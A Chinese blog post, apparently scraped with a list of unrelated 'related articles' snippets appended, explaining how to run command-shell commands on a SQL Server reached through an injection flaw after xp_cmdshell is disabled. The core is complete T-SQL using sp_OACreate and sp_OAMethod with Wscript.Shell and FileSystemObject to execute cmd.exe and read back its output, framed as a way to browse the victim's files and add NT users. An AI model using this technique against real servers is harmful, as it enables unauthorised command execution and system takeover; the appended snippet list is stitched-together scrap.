我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...] 
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令相关推荐

  1. SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库). 地址:http://219.153.49.228:42295/new_list.asp?id=2( ...

  2. 服务器 不支持opengl,我可以在无头服务器上运行GLU(OpenGL)吗?

    VJovic链接上的大多数选项都不是硬件加速的,为了支持OpenGL Framebuffer对象扩展(请注意日期:1997!),它们中的所有选项都被弃用了.另外,正如Calvin1602所指出的,屏幕 ...

  3. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  4. OWASP TOP 10(2021)之注入漏洞(SQL注入和XSS注入)

    目录 一.SQL注入 1. 漏洞概述及原理 2. 漏洞可能造成的危害 3. 漏洞防范 4. SQL注入的分类与检测 5. 从攻击者的角度,如何绕过SQL注入防范呢? (1)对于关键字的绕过 (2)缓冲 ...

  5. 什么是SQL注入漏洞,SQL注入漏洞的流程

    这几天做了一个靶机里面有关于SQL注入漏洞,想着把SQL注入漏洞写一下,方便自己跟大家查看 什么是SQL注入漏洞 注入(SQLi)是一种注入攻击,可以执行恶意SQL语句. 它通过将任意SQL代码插入数 ...

  6. Linux开源IM GGTalk 8.0发布,支持在统信UOS、银河麒麟上运行!

       GGTalk在2021年推出7.0后,经过一年多时间的开发,终于推出8.0版本,实现了Linux客户端.这几年,信创国产化的势头越来越猛,政府事企业单位都在逐步转向使用国产OS.国产CPU.国产 ...

  7. mysql的sql手工注入基于回显,SQL手工注入漏洞测试(Sql Server数据库)

    寻找注入点 and 1=1 ,and 2=1 判断字段 order by N# 虽然3报错,但4有回显.判断是4个字段 查看回显位置id=2 and 2=1 union all select 1,2, ...

  8. SQL注入漏洞的检测与防范技术

    提 要   本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词  SQL注入漏洞 检测 防范技术 引 言    近几年来随着计算机网络和WEB技术的飞速 ...

  9. Apache Log4j 远程代码注入漏洞

    漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...

最新文章

  1. 掌握AI核心技术没有秘籍,能自己创造就是王道
  2. 自研redis sdk支持自动dns切换(附源码)
  3. C语言多维数组与多级指针
  4. Qt QtCreator 所有版本官方下载地址
  5. mysql网络异常_mysql运行过程中因网络或者数据库原因导致的异常
  6. 信息学奥赛一本通(1327:【例7.6】黑白棋子的移动)
  7. js获取字符串的字节数
  8. IEnumerable和使用收益回报的递归
  9. EMF-edit功能解析
  10. 无刷直流电机计算转速
  11. 解决百度网盘下载慢,提速下载
  12. Tiki靶机(CMS漏洞)
  13. 飞天系统和linux,用Linux或Windows系统运行抢茅台脚本在性能上有区别吗?
  14. UE5分屏(小地图)的解决方案
  15. 2021河南普通话考试的时间和内容
  16. wifi信道12为啥没人用_【科普】为什么WiFi自动信道选到的信道多数在1/6/11
  17. 2021年金属非金属矿井通风免费试题及金属非金属矿井通风考试总结
  18. 交通产业百年变局:从运力时代到算力时代
  19. SpringMVC‘s Ediary更新中
  20. 插入U盘自动运行指定程序

热门文章

  1. Linux 进程及进程之间的通信机制——管道
  2. ubuntu系统怎么安装ssh服务器配置,如何在Ubuntu 20.04 LTS上安装SSH服务器
  3. Python计算机视觉——图像到图像的映射
  4. python中星号怎么打出来_Python打印“菱形”星号代码方法
  5. QT 烦人的parent该如何理解
  6. 设置VSCode快捷键vue生成代码片段
  7. 【一个诡异的问题】用饿了么的自定义主题之后发现表格顶部的复选框checkbox错位了
  8. 在Ubuntu 14.04 64位上使用libpcap进行抓包和解包
  9. 在CentOS 6.2上搭建vim开发环境
  10. Blender 3D插图插画设计视频教程 Fantastic 3D illustration with Blender